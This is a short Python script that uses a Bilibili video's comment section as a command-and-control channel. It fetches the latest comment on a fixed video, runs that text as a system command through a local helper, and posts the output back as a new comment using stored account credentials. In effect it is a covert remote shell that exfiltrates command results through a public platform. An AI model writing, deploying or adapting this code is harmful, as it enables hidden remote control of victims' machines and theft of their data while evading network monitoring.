import asyncio
from bilibili_api import comment
import mycred

import runcmd

credential = mycred.credential

async def main(cmdres):
    #将命令的执行结果发送到评论区
    a =await comment.send_comment(cmdres,"BV1cb4y1g7PC",type_=comment.ResourceType.VIDEO,credential=credential)
    print(a)

async def main1():
    #通过评论区获得命令
    a = await comment.get_comments("BV1cb4y1g7PC",comment.ResourceType.VIDEO,1,order=comment.OrderType.TIME,credential=credential)
    #print(a["replies"][0]['content']["message"])
    return a["replies"][0]['content']["message"]
if __name__ == '__main__':

    cmd = asyncio.get_event_loop().run_until_complete(main1())
    print(cmd)
    
    result = str(runcmd.runcmd(str(cmd)))#执行命令
    
    asyncio.get_event_loop().run_until_complete(main(result))